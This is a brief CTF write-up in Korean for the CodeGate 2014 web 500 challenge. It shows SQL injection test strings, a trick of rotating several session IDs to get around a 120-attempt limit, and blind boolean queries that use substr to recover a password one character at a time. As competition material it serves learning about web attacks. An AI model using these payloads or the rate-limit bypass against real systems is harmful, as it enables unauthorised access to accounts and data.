[CodeGate 2014] web 500

 

hint

 

120 Count -> 새로운 암호생성

세션 변경시 -> 새로운 암호생성

 

1'or 1='1

 

1'or 1='2

 

세션 gvqmir6dlg2rl9se35j6n73uh1 부터 gvqmir6dlg2rl9se35j6n73uh5 까지 생성 후

돌려가며 쿼리를 날리면 120번이라는 카운트는 무의미하게 된다.

 

select * from rms_120_pw where (ip='x.x.x.x') and (password='1 or substr(password,1,1)='g') False

select * from rms_120_pw where (ip='x.x.x.x') and (password='1 or substr(password,1,1)='h') True